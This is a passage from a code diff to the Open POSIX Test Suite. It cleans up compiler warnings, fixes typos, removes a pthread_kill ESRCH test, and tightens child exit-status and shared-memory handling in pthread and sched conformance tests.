 	pthread_t child;
-	int i, j;
+	unsigned int i;
+	int j;
 
 	output_init();
 
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/4-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/4-1.c
index 1252d56..33e5562 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/4-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/4-1.c
@@ -91,12 +91,7 @@
 
 static int global = 0;
 
-/* atexit() routines */
-static void at1(void)
-{
-	global +=1;
-}
-
+/* atexit() routine */
 static void at2(void)
 {
 	global +=2;
@@ -107,7 +102,7 @@
 {
 	int ret = 0;
 
-	/* Note that this funtion will be registered once again for each scenario.
+	/* Note that this function will be registered once again for each scenario.
 	   POSIX requires the ability to register at least 32 functions so it should
 	   not be an issue in our case, as long as we don't get more than 32 scenarii
 	   (with joinable threads) */
@@ -127,7 +122,7 @@
 	int ret = 0;
 	void *rval;
 	pthread_t child;
-	int i;
+	unsigned int i;
 
 	output_init();
 
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/5-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/5-1.c
index 730b751..e35dbef 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/5-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/5-1.c
@@ -91,12 +91,7 @@
 static int atctl = 0;
 static pthread_key_t tld[3];
 
-/* atexit() routines */
-static void at1(void)
-{
-	atctl += 1;
-}
-
+/* atexit() routine */
 static void at2(void)
 {
 	atctl += 2;
@@ -146,7 +141,8 @@
 	int ctl = 0;
 	void *rval;
 	pthread_t child;
-	int i, j;
+	unsigned int i;
+	int j;
 
 	output_init();
 
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/6-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/6-1.c
index b21e43d..639e508 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/6-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/6-1.c
@@ -98,6 +98,7 @@
 /* This will be used to control that atexit() has been called */
 static int *ctl;
 static long mf;
+static unsigned int sc;
 
 static void clnp(void)
 {
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_getcpuclockid/2-1.sh b/testcases/open_posix_testsuite/conformance/interfaces/pthread_getcpuclockid/2-1.sh
index a3cf4dc..d27e0ab 100755
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_getcpuclockid/2-1.sh
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_getcpuclockid/2-1.sh
@@ -1,4 +1,3 @@
-
 #!/bin/sh
 # Copyright (c) 2004, Intel Corporation. All rights reserved.
 # Created by:  crystal.xiong REMOVE-THIS AT intel DOT com
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_join/1-2.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_join/1-2.c
index 34c4109..25e623f 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_join/1-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_join/1-2.c
@@ -48,6 +48,8 @@
 
 #include "../testfrmw/threads_scenarii.c"
 
+static unsigned int sc;
+
 static void *threaded(void *arg)
 {
 	int ret = 0;
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_join/4-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_join/4-1.c
index b7bc56e..6b19992 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_join/4-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_join/4-1.c
@@ -46,6 +46,7 @@
 #include "../testfrmw/threads_scenarii.c"
 
 static pthread_mutex_t mtx = PTHREAD_MUTEX_INITIALIZER;
+static unsigned int sc;
 
 /* 1st thread function */
 static void *threaded(void *arg PTS_ATTRIBUTE_UNUSED)
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_join/6-3.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_join/6-3.c
index 7325def..ecf0498 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_join/6-3.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_join/6-3.c
@@ -56,6 +56,7 @@
 #endif
 
 static sigset_t usersigs;
+static unsigned int sc;
 
 struct thestruct {
 	int sig;
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_key_create/2-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_key_create/2-1.c
index f150f34..51c89f3 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_key_create/2-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_key_create/2-1.c
@@ -28,13 +28,6 @@
 	pthread_key_t key;
 	void *rc;
 
-	/* Verify that the value associated with "key" in a new thread is NULL */
-	rc = pthread_getspecific(key);
-	if (rc != NULL) {
-		printf("Test FAILED\n");
-		return PTS_FAIL;
-	}
-
 	if (pthread_key_create(&key, NULL) != 0) {
 		printf("Error: pthread_key_create() failed\n");
 		return PTS_UNRESOLVED;
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_kill/6-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_kill/6-1.c
deleted file mode 100644
index a462ba8..0000000
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_kill/6-1.c
+++ /dev/null
@@ -1,62 +0,0 @@
-/*
- * Copyright (c) 2002-3, Intel Corporation. All rights reserved.
- * Created by:  salwan.searty REMOVE-THIS AT intel DOT com
- * This file is licensed under the GPL license.  For the full content
- * of this license, see the COPYING file at the top level of this
- * source tree.
- *
- * Test that the pthread_kill() function shall return ESRCH when no
- * thread could be found corresponding to that specified by the given
- * thread ID.
- *
- * NOTE: Cannot find 6-1.c in PTS cvs. So write this one.
- */
-
-#include <pthread.h>
-#include <signal.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include <errno.h>
-#include <string.h>
-#include "posixtest.h"
-
-static void *thread_function(void *arg PTS_ATTRIBUTE_UNUSED)
-{
-	/* Does nothing */
-	pthread_exit(NULL);
-
-	/* To please some compilers */
-	return NULL;
-}
-
-int main(void)
-{
-	pthread_t child_thread;
-	pthread_t invalid_tid;
-
-	int rc;
-
-	rc = pthread_create(&child_thread, NULL, thread_function, NULL);
-	if (rc != 0) {
-		printf("Error at pthread_create()\n");
-		return PTS_UNRESOLVED;
-	}
-
-	rc = pthread_join(child_thread, NULL);
-	if (rc != 0) {
-		printf("Error at pthread_join()\n");
-		return PTS_UNRESOLVED;
-	}
-
-	/* Now the child_thread exited, it is an invalid tid */
-	memcpy(&invalid_tid, &child_thread, sizeof(pthread_t));
-
-	if (pthread_kill(invalid_tid, 0) == ESRCH) {
-		printf("pthread_kill() returns ESRCH.\n");
-		return PTS_PASS;
-	}
-
-	printf("Test Fail\n");
-	return PTS_FAIL;
-}
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_kill/8-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_kill/8-1.c
index 086a0cf..b61a081 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_kill/8-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_kill/8-1.c
@@ -153,14 +153,6 @@
 #endif
 }
 
-static int init_ctl;
-/* Init function */
-static void initializer(void)
-{
-	init_ctl++;
-	return;
-}
-
 /* Test function -- calls pthread_kill() and checks that EINTR is never returned. */
 static void *test(void *arg PTS_ATTRIBUTE_UNUSED)
 {
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_kill/assertions.xml b/testcases/open_posix_testsuite/conformance/interfaces/pthread_kill/assertions.xml
index 2289b9b..fa74c31 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_kill/assertions.xml
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_kill/assertions.xml
@@ -16,10 +16,6 @@
   <assertion id="5" tag="ref:XSH6:33594:33595 pt:THR">
     No signal shall be sent if the pthread_kill() function fails.
   </assertion>
-  <assertion id="6" tag="ref:XSH6:33598:33599 pt:THR">
-    [ESRCH] No thread could be found corresponding to that specified by
-    the given thread ID.
-  </assertion>
   <assertion id="7" tag="ref:XSH6:33600:33600 pt:THR">
     [EINVAL] The value of the sig argument is an invalid or unsupported
     signal number.
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_kill/coverage.txt b/testcases/open_posix_testsuite/conformance/interfaces/pthread_kill/coverage.txt
index 03dc3d5..8cfa3d8 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_kill/coverage.txt
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_kill/coverage.txt
@@ -6,6 +6,5 @@
 3		YES
 4		IMPLICITLY tested by assertions 6 and 7.
 5		IMPLICITLY tested by assertions 6 and 7.
-6		YES
 7		YES
 8		WON'T test. No way to interrupt the pthread_kill() call.
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_init/3-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_init/3-1.c
index 9ee86a5..8a9b989 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_init/3-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_init/3-1.c
@@ -5,7 +5,7 @@
  * of this license, see the COPYING file at the top level of this
  * source tree.
 
- * Test that the macro PTHREAD_MUTEX_INITIALIZER can be sued to intiailize
+ * Test that the macro PTHREAD_MUTEX_INITIALIZER can be used to initialize
  * mutexes that are statically allocated.
  *
  */
@@ -20,7 +20,7 @@
 	int value;		/* Access protected by mutex */
 } my_data_t;
 
-static my_data_t data = { PTHREAD_MUTEX_INITIALIZER, 0 };
+static my_data_t data PTS_ATTRIBUTE_UNUSED = { PTHREAD_MUTEX_INITIALIZER, 0 };
 
 int main(void)
 {
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_lock/1-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_lock/1-1.c
index 9132519..4fccbfd 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_lock/1-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_lock/1-1.c
@@ -36,7 +36,7 @@
 
 int main(void)
 {
-	int i, rc;
+	int i;
 	pthread_attr_t pta;
 	pthread_t threads[THREAD_NUM];
 	//pthread_t           self = pthread_self();
@@ -47,7 +47,7 @@
 	/* Create threads */
 	fprintf(stderr, "Creating %d threads\n", THREAD_NUM);
 	for (i = 0; i < THREAD_NUM; ++i)
-		rc = pthread_create(&threads[i], &pta, f1, NULL);
+		pthread_create(&threads[i], &pta, f1, NULL);
 
 	/* Wait to join all threads */
 	for (i = 0; i < THREAD_NUM; ++i)
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_timedlock/4-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_timedlock/4-1.c
index a709968..d3c0bda 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_timedlock/4-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_timedlock/4-1.c
@@ -32,9 +32,7 @@
 static int ret;			/* Save return value of
 				   pthread_mutex_timedlock(). */
 static pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;	/* The mutex */
-static time_t currsec1, currsec2;	/* Variables for saving time before
-				   and afer locking the mutex using
-				   pthread_mutex_timedlock(). */
+
 /****************************
  *
  * MAIN()
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_timedlock/5-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_timedlock/5-1.c
index 077bfe7..f51106b 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_timedlock/5-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_timedlock/5-1.c
@@ -40,9 +40,7 @@
 static int ret;			/* Save return value of
 				   pthread_mutex_timedlock(). */
 static pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;	/* The mutex */
-static time_t currsec1, currsec2;	/* Variables for saving time before
-				   and afer locking the mutex using
-				   pthread_mutex_timedlock(). */
+
 /****************************
  *
  * MAIN()
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_timedlock/5-2.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_timedlock/5-2.c
index 0eda6e5..afca84e 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_timedlock/5-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_timedlock/5-2.c
@@ -40,9 +40,7 @@
 static int ret;			/* Save return value of
 				   pthread_mutex_timedlock(). */
 static pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;	/* The mutex */
-static time_t currsec1, currsec2;	/* Variables for saving time before
-				   and afer locking the mutex using
-				   pthread_mutex_timedlock(). */
+
 /****************************
  *
  * MAIN()
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_timedlock/5-3.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_timedlock/5-3.c
index baf4295..a5f8b33 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_timedlock/5-3.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_timedlock/5-3.c
@@ -36,9 +36,7 @@
 static int ret;			/* Save return value of
 				   pthread_mutex_timedlock(). */
 static pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;	/* The mutex */
-static time_t currsec1, currsec2;	/* Variables for saving time before
-				   and afer locking the mutex using
-				   pthread_mutex_timedlock(). */
+
 /****************************
  *
  * MAIN()
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_trylock/1-2.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_trylock/1-2.c
index 7901115..a3d8c48 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_trylock/1-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_trylock/1-2.c
@@ -149,7 +149,7 @@
 int main(void)
 {
 	int ret;
-	int sc;
+	unsigned int sc;
 	pthread_mutexattr_t ma;
 
 	testdata_t *td;
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_trylock/2-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_trylock/2-1.c
index 203d03c..038cf94 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_trylock/2-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_trylock/2-1.c
@@ -126,7 +126,7 @@
 int main(void)
 {
 	int ret;
-	int sc;
+	unsigned int sc;
 	pthread_mutexattr_t ma;
 
 	testdata_t *td;
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_trylock/4-3.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_trylock/4-3.c
index e7e86bf..2145bde 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_trylock/4-3.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_trylock/4-3.c
@@ -103,7 +103,6 @@
 #define NSCENAR (sizeof(scenarii)/sizeof(scenarii[0]))
 
 static char do_it = 1;
-static char woken = 0;
 static unsigned long count_ope = 0;
 #ifdef WITH_SYNCHRO
 static sem_t semsig1;
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_unlock/2-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_unlock/2-1.c
index 27f0ee3..39dacb7 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_unlock/2-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_unlock/2-1.c
@@ -39,13 +39,13 @@
 
 int main(void)
 {
-	int i, rc;
+	int i;
 	pthread_t threads[THREAD_NUM];
 
 	/* Create threads */
 	fprintf(stderr, "Creating %d threads\n", THREAD_NUM);
 	for (i = 0; i < THREAD_NUM; ++i)
-		rc = pthread_create(&threads[i], NULL, func, NULL);
+		pthread_create(&threads[i], NULL, func, NULL);
 
 	/* Wait to join all threads */
 	for (i = 0; i < THREAD_NUM; ++i)
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_destroy/4-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_destroy/4-1.c
index 0947390..cad6980 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_destroy/4-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_destroy/4-1.c
@@ -15,6 +15,9 @@
  *
  */
 
+/* This test explicitly tries to pass null to a parameter, that should not be NULL */
+#pragma GCC diagnostic ignored "-Wnonnull"
+
 #include <pthread.h>
 #include <stdio.h>
 #include <errno.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_setpshared/1-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_setpshared/1-1.c
index 909b53b..8e8617b 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_setpshared/1-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_setpshared/1-1.c
@@ -37,8 +37,6 @@
 #include <stdio.h>
 #include "posixtest.h"
 
-static pthread_mutex_t new_mutex;	/* The mutex. */
-
 int main(void)
 {
 	pthread_mutexattr_t mta;
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_once/4-1-buildonly.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_once/4-1-buildonly.c
index 6e51996..d3392f9 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_once/4-1-buildonly.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_once/4-1-buildonly.c
@@ -11,5 +11,6 @@
    */
 
 #include <pthread.h>
+#include "posixtest.h"
 
-static pthread_once_t dummy = PTHREAD_ONCE_INIT;
+static pthread_once_t dummy PTS_ATTRIBUTE_UNUSED = PTHREAD_ONCE_INIT;
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_getpshared/2-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_getpshared/2-1.c
index 3ffdc0c..72c40f1 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_getpshared/2-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_getpshared/2-1.c
@@ -126,7 +126,11 @@
 	if (pid == -1) {
 		perror("Error at fork()");
 		return PTS_UNRESOLVED;
-	} else if (pid > 0) {
+	}
+
+	if (pid > 0) {
+		int status;
+
 		/* Parent */
 		/* wait until child do wrlock */
 		while (rwlock_data->data == 0) {
@@ -141,7 +145,7 @@
 		printf("Parent unlocked.\n");
 
 		/* Wait for child to end */
-		wait(NULL);
+		wait(&status);
 
 		if ((shm_unlink(shm_name)) != 0) {
 			perror("Error at shm_unlink()");
@@ -154,6 +158,16 @@
 			return PTS_FAIL;
 		}
 
+		if (!WIFEXITED(status)) {
+			printf("Parent: did not exit properly!\n");
+			return PTS_FAIL;
+		}
+
+		if (WEXITSTATUS(status)) {
+			printf("Parent: failure in child\n");
+			return WEXITSTATUS(status);
+		}
+
 		printf("Test PASSED\n");
 		return PTS_PASS;
 	} else {
@@ -195,5 +209,7 @@
 			rwlock_data->data = -1;
 			return PTS_FAIL;
 		}
+
+		return PTS_PASS;
 	}
 }
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_sigmask/18-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_sigmask/18-1.c
index 81ba4ea..f303e98 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_sigmask/18-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_sigmask/18-1.c
@@ -153,20 +153,12 @@
 #endif
 }
 
-static int init_ctl;
-/* Init function */
-static void initializer(void)
-{
-	init_ctl++;
-	return;
-}
-
 /* Test function -- calls pthread_sigmask() and checks that EINTR is never returned. */
 static void *test(void *arg PTS_ATTRIBUTE_UNUSED)
 {
 	int ret = 0;
 	sigset_t set;
-	int i, j = 0;
+	unsigned int i, j = 0;
 	int signals[] = { SIGBUS, SIGKILL, SIGABRT, SIGCHLD, SIGHUP };
 #define NSIG (sizeof(signals)/sizeof(int))
 	int operation[] = { SIG_SETMASK, SIG_BLOCK, SIG_UNBLOCK };
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_sigmask/7-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_sigmask/7-1.c
index aa9c6b9..79cdefd 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_sigmask/7-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_sigmask/7-1.c
@@ -24,7 +24,8 @@
 static void *a_thread_func()
 {
 	sigset_t oactl, tempset;
-	int i, j, test_failed = 0;
+	unsigned int i, j;
+	int test_failed = 0;
 
 	int siglist[] = { SIGABRT, SIGALRM, SIGBUS, SIGCHLD,
 		SIGCONT, SIGFPE, SIGHUP, SIGILL, SIGINT,
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_init/2-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_init/2-1.c
index b7dd9e0..f20822c 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_init/2-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_init/2-1.c
@@ -100,7 +100,11 @@
 	if (pid == -1) {
 		perror("Error at fork()");
 		return PTS_UNRESOLVED;
-	} else if (pid > 0) {
+	}
+
+	if (pid > 0) {
+		int status;
+
 		/* Parent */
 		/* wait until child writes to spinlock data */
 		while (spinlock_data->data != 1)
@@ -116,13 +120,23 @@
 		spinlock_data->data = 2;
 
 		/* Wait until child ends */
-		wait(NULL);
+		wait(&status);
 
 		if ((shm_unlink(shm_name)) != 0) {
 			perror("Error at shm_unlink()");
 			return PTS_UNRESOLVED;
 		}
 
+		if (!WIFEXITED(status)) {
+			printf("Parent: did not exit properly!\n");
+			return PTS_FAIL;
+		}
+
+		if (WEXITSTATUS(status)) {
+			printf("Parent: failure in child\n");
+			return WEXITSTATUS(status);
+		}
+
 		printf("Test PASSED\n");
 		return PTS_PASS;
 	} else {
@@ -170,5 +184,7 @@
 			printf("Child: error at pthread_spin_destroy()\n");
 			return PTS_UNRESOLVED;
 		}
+
+		return PTS_PASS;
 	}
 }
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_init/2-2.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_init/2-2.c
index f3cb9b2..df0d4df 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_init/2-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_init/2-2.c
@@ -106,7 +106,11 @@
 	if (pid == -1) {
 		perror("Error at fork()");
 		return PTS_UNRESOLVED;
-	} else if (pid > 0) {
+	}
+
+	if (pid > 0) {
+		int status;
+
 		/* Parent */
 		/* wait until child writes to spinlock data */
 		while (spinlock_data->data != 1)
@@ -122,13 +126,23 @@
 		spinlock_data->data = 2;
 
 		/* Wait until child ends */
-		wait(NULL);
+		wait(&status);
 
 		if ((shm_unlink(shm_name)) != 0) {
 			perror("Error at shm_unlink()");
 			return PTS_UNRESOLVED;
 		}
 
+		if (!WIFEXITED(status)) {
+			printf("Parent: did not exit properly!\n");
+			return PTS_FAIL;
+		}
+
+		if (WEXITSTATUS(status)) {
+			printf("Parent: failure in child\n");
+			return WEXITSTATUS(status);
+		}
+
 		printf("Test PASSED\n");
 		return PTS_PASS;
 	} else {
@@ -175,5 +189,7 @@
 			printf("Child: error at pthread_spin_destroy()\n");
 			return PTS_UNRESOLVED;
 		}
+
+		return PTS_PASS;
 	}
 }
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_unlock/1-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_unlock/1-1.c
index 44772d9..0a91256 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_unlock/1-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_unlock/1-1.c
@@ -46,7 +46,7 @@
 	printf("thread: attempt trylock\n");
 	rc = pthread_spin_trylock(&spinlock);
 	if (rc != 0) {
-		printf("Test FAILED: thread failed to get spin lock,"
+		printf("Test FAILED: thread failed to get spin lock, "
 		       "Error code:%d\n", rc);
 		exit(PTS_FAIL);
 	}
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/2-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/2-1.c
index 889ff17..fb19ff6 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/2-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/2-1.c
@@ -97,8 +97,7 @@
 	if (rc) {
 		nb_child = get_ncpu();
 		if (nb_child == -1) {
-			printf("Can not get the number of"
-			       "CPUs of your machine.\n");
+			printf("Can not get the number of CPUs of your machine\n");
 			return PTS_UNRESOLVED;
 		}
 	} else {
@@ -126,7 +125,10 @@
 		return PTS_UNRESOLVED;
 	}
 
-	pipe(the_pipe);
+	if (pipe(the_pipe)) {
+		perror("pipe");
+		return PTS_UNRESOLVED;
+	}
 
 	for (i = 0; i < nb_child; i++) {
 		child_pid[i] = fork();
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/2-2.c b/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/2-2.c
index 1456b97..6c68120 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/2-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/2-2.c
@@ -98,8 +98,7 @@
 	if (rc) {
 		nb_child = get_ncpu();
 		if (nb_child == -1) {
-			printf("Can not get the number of"
-			       "CPUs of your machine.\n");
+			printf("Can not get the number of CPUs of your machine\n");
 			return PTS_UNRESOLVED;
 		}
 	} else {
@@ -130,7 +129,10 @@
 		return PTS_UNRESOLVED;
 	}
 
-	pipe(the_pipe);
+	if (pipe(the_pipe)) {
+		perror("pipe");
+		return PTS_UNRESOLVED;
+	}
 
 	for (i = 0; i < nb_child; i++) {
 		child_pid[i] = fork();
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/9-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/9-1.c
index ced634b..6f158da 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/9-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/9-1.c
@@ -43,6 +43,7 @@
 #include <unistd.h>
 #include "posixtest.h"
 #include "ncpu.h"
+#include "safe_helpers.h"
 
 static int nb_cpu;
 static int *shmptr;
@@ -113,8 +114,7 @@
 	if (rc) {
 		nb_cpu = get_ncpu();
 		if (nb_cpu == -1) {
-			printf("Can not get the number of"
-			       " CPUs of the machine.\n");
+			printf("Can not get the number of CPUs of the machine\n");
 			return PTS_UNRESOLVED;
 		}
 	} else {
@@ -135,7 +135,7 @@
 	shmptr = shmat(shm_id, 0, 0);
 	if (shmptr == (void *)-1) {
 		perror("An error occurs when calling shmat()");
-		return PTS_UNRESOLVED;
+		goto free_shm;
 	}
 	*shmptr = 0;
 
@@ -149,7 +149,7 @@
 			perror("An error occurs when calling"
 			       " sched_setscheduler()");
 		}
-		return PTS_UNRESOLVED;
+		goto free_shm;
 	}
 
 	for (i = 0; i < (nb_cpu - 1); i++) {
@@ -157,13 +157,13 @@
 		if (child_pid[i] == -1) {
 			perror("An error occurs when calling fork()");
 			kill_children(child_pid, i);
-			return PTS_UNRESOLVED;
+			goto free_shm;
 		} else if (child_pid[i] == 0) {
 
 			child_process();
 
 			printf("This code should not be executed.\n");
-			return PTS_UNRESOLVED;
+			goto free_shm;
 		}
 	}
 
@@ -171,13 +171,13 @@
 	if (child_pid[i] == -1) {
 		perror("An error occurs when calling fork()");
 		kill_children(child_pid, i);
-		return PTS_UNRESOLVED;
+		goto free_shm;
 	} else if (child_pid[i] == 0) {
 
 		test_process();
 
 		printf("This code should not be executed.\n");
-		return PTS_UNRESOLVED;
+		goto free_shm;
 	}
 
 	param.sched_priority = mean_prio;
@@ -185,10 +185,11 @@
 	if (sched_setparam(child_pid[i], &param) != 0) {
 		perror("An error occurs when calling sched_setparam()");
 		kill_children(child_pid, nb_cpu);
-		return PTS_UNRESOLVED;
+		goto free_shm;
 	}
 	newcount = *shmptr;
 
+	SAFE_FUNC(shmctl(shm_id, IPC_RMID, NULL));
 	if (newcount == oldcount) {
 		printf("The target process does not preempt"
 		       " the calling process\n");
@@ -199,4 +200,7 @@
 	printf("Test PASSED\n");
 	kill_children(child_pid, nb_cpu);
 	return PTS_PASS;
+free_shm:
+	SAFE_FUNC(shmctl(shm_id, IPC_RMID, NULL));
+	return PTS_UNRESOLVED;
 }
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sched_yield/1-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sched_yield/1-1.c
index 602733e..2e1e319 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sched_yield/1-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sched_yield/1-1.c
@@ -45,18 +45,21 @@
 	alarm(4);
 
 	/* Tell the parent we're ready */
-	write(fd, "go", 2);
+	if (write(fd, "go", 2) == -1) {
+		perror("write");
